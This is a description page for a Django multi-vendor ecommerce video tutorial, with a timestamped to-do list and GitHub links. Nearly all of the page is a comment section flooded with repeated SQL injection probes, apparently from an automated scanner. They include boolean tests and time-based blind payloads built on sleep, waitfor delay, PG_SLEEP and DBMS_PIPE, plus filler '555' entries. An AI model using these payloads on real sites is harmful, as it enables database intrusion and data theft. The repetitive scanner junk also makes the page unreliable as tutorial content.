In this video, I will build the first part of the Django Ecommerce Website with multiple vendors tuturial. I will setup and install everything we need, make it possible for the vendors to create accounts and log in.
The vendors will also have the possibility to add products.
Todo list for part 1:
-Create virtual environment and activate it 00:00:17
-Install Django and create project 00:01:08
-Create app for core views and add to installed apps 00:01:49
-Add a simple front page 00:03:10
-Add static files 00:12:28
-Create app for vendors and add to installed apps 00:17:04
-Create database model for the vendors 00:18:08
-Create view, template and form for sign up 00:22:28
-Create simple area for vendors 00:30:49
-Make it possible to log out and in again 00:34:58
-Create app and models for products and categories 00:39:38
-Show list of products in the admin area 00:51:55
-Make it possible for vendors to add products 00:54:08
-Show newest products on the front page 01:01:08
-Show detail view of a product 01:05:08
-Show a category 01:14:40
-Create a simple search 01:20:08
In this Django tutorial series, you will learn how to create an e-commerce website from scratch. With everything you need with payments and similar.
Important links:
Git - https://github.com/SteinOveHelset/interiorshop
Code from part 1 - https://github.com/SteinOveHelset/interiorshop/releases/tag/part-1
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
-1 OR 2+776-776-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:59
-1 OR 2+140-140-1=0+0+0+1
EFSArCBy | Jul 02, 26 08:59
-1' OR 2+879-879-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:59
-1' OR 2+38-38-1=0+0+0+1 or 'DA72gdc1'='
EFSArCBy | Jul 02, 26 08:59
-1" OR 2+80-80-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:59
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 08:59
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 08:59
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 08:59
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 08:59
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:59
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:59
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:59
555sDQdhmXJ'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:59
555-1 OR 897=(SELECT 897 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
555-1) OR 906=(SELECT 906 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
555-1)) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
5550Gl4JMdT' OR 710=(SELECT 710 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
555TgKusoca') OR 336=(SELECT 336 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
5558g6xbhMg')) OR 264=(SELECT 264 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:59
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 08:59
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555'"
EFSArCBy | Jul 02, 26 08:59
@@g1DJd
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
-1 OR 2+301-301-1=0+0+0+1 -- | Jul 02, 26 08:59
555
-1 OR 2+558-558-1=0+0+0+1 | Jul 02, 26 08:59
555
-1' OR 2+321-321-1=0+0+0+1 -- | Jul 02, 26 08:59
555
-1' OR 2+850-850-1=0+0+0+1 or 'cDhQncwX'=' | Jul 02, 26 08:59
555
-1" OR 2+317-317-1=0+0+0+1 -- | Jul 02, 26 08:59
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:59
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:59
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:59
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:59
555
EFSArCByXkHTC03U'; waitfor delay '0:0:15' -- | Jul 02, 26 08:59
555
EFSArCBy4xWtTKkb' OR 72=(SELECT 72 FROM PG_SLEEP(15))-- | Jul 02, 26 08:59
555
EFSArCByMMijUqsP') OR 994=(SELECT 994 FROM PG_SLEEP(15))-- | Jul 02, 26 08:59
555
EFSArCByqgHxND26')) OR 976=(SELECT 976 FROM PG_SLEEP(15))-- | Jul 02, 26 08:59
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy'" | Jul 02, 26 08:59
555
@@JDKJ3 | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 02, 26 08:59
555
EFSArCBy | Jul 20, 26 09:57
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
-1 OR 2+440-440-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
-1 OR 2+479-479-1=0+0+0+1
EFSArCBy | Jul 20, 26 09:58
-1' OR 2+156-156-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
-1' OR 2+589-589-1=0+0+0+1 or 'K4vbSqj0'='
EFSArCBy | Jul 20, 26 09:58
-1" OR 2+985-985-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 09:58
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 09:58
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 09:58
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 09:58
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
5552c6qIRdf'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1 OR 812=(SELECT 812 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555-1) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555-1)) OR 899=(SELECT 899 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555qWOmJVr1' OR 416=(SELECT 416 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555tlSenVLk') OR 605=(SELECT 605 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555Qlf554YV')) OR 926=(SELECT 926 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 09:58
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555'"
EFSArCBy | Jul 20, 26 09:58
@@KdIxA
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
-1 OR 2+595-595-1=0+0+0+1 -- | Jul 20, 26 09:58
555
-1 OR 2+363-363-1=0+0+0+1 | Jul 20, 26 09:58
555
-1' OR 2+621-621-1=0+0+0+1 -- | Jul 20, 26 09:58
555
-1' OR 2+880-880-1=0+0+0+1 or 'qWckJ6fh'=' | Jul 20, 26 09:58
555
-1" OR 2+370-370-1=0+0+0+1 -- | Jul 20, 26 09:58
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 09:58
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 09:58
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 09:58
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 09:58
555
EFSArCBy3s5cwHWe'; waitfor delay '0:0:15' -- | Jul 20, 26 09:58
555
EFSArCByY6oicSQW' OR 111=(SELECT 111 FROM PG_SLEEP(15))-- | Jul 20, 26 09:58
555
EFSArCByg9cAtvRJ') OR 327=(SELECT 327 FROM PG_SLEEP(15))-- | Jul 20, 26 09:58
555
EFSArCByPXgrBQRn')) OR 889=(SELECT 889 FROM PG_SLEEP(15))-- | Jul 20, 26 09:58
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy'" | Jul 20, 26 09:58
555
@@llXKl | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
-1 OR 2+197-197-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:50
-1 OR 2+266-266-1=0+0+0+1
EFSArCBy | Jul 23, 26 12:50
-1' OR 2+71-71-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:50
-1' OR 2+795-795-1=0+0+0+1 or 'XvoFhnqi'='
EFSArCBy | Jul 23, 26 12:50
-1" OR 2+487-487-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:50
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 12:50
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 12:50
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 12:50
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 12:50
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:50
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:50
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:50
555ejnJ1LQy'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:50
555-1 OR 85=(SELECT 85 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555-1) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555-1)) OR 651=(SELECT 651 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555IOfMtAg8' OR 85=(SELECT 85 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555ySZW0lzD') OR 522=(SELECT 522 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555aBVPJmre')) OR 830=(SELECT 830 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:50
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 12:50
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555'"
EFSArCBy | Jul 23, 26 12:50
@@if7A4
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
-1 OR 2+909-909-1=0+0+0+1 -- | Jul 23, 26 12:50
555
-1 OR 2+743-743-1=0+0+0+1 | Jul 23, 26 12:50
555
-1' OR 2+278-278-1=0+0+0+1 -- | Jul 23, 26 12:50
555
-1' OR 2+723-723-1=0+0+0+1 or 'utQxU26h'=' | Jul 23, 26 12:50
555
-1" OR 2+630-630-1=0+0+0+1 -- | Jul 23, 26 12:50
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 12:50
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 12:50
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 12:50
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 12:50
555
EFSArCByIBfXBwmJ'; waitfor delay '0:0:15' -- | Jul 23, 26 12:50
555
EFSArCByRy7jdLom' OR 114=(SELECT 114 FROM PG_SLEEP(15))-- | Jul 23, 26 12:50
555
EFSArCByhAS3kG1h') OR 122=(SELECT 122 FROM PG_SLEEP(15))-- | Jul 23, 26 12:50
555
EFSArCByimJoyYAa')) OR 451=(SELECT 451 FROM PG_SLEEP(15))-- | Jul 23, 26 12:50
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy'" | Jul 23, 26 12:50
555
@@v8GNr | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:50
555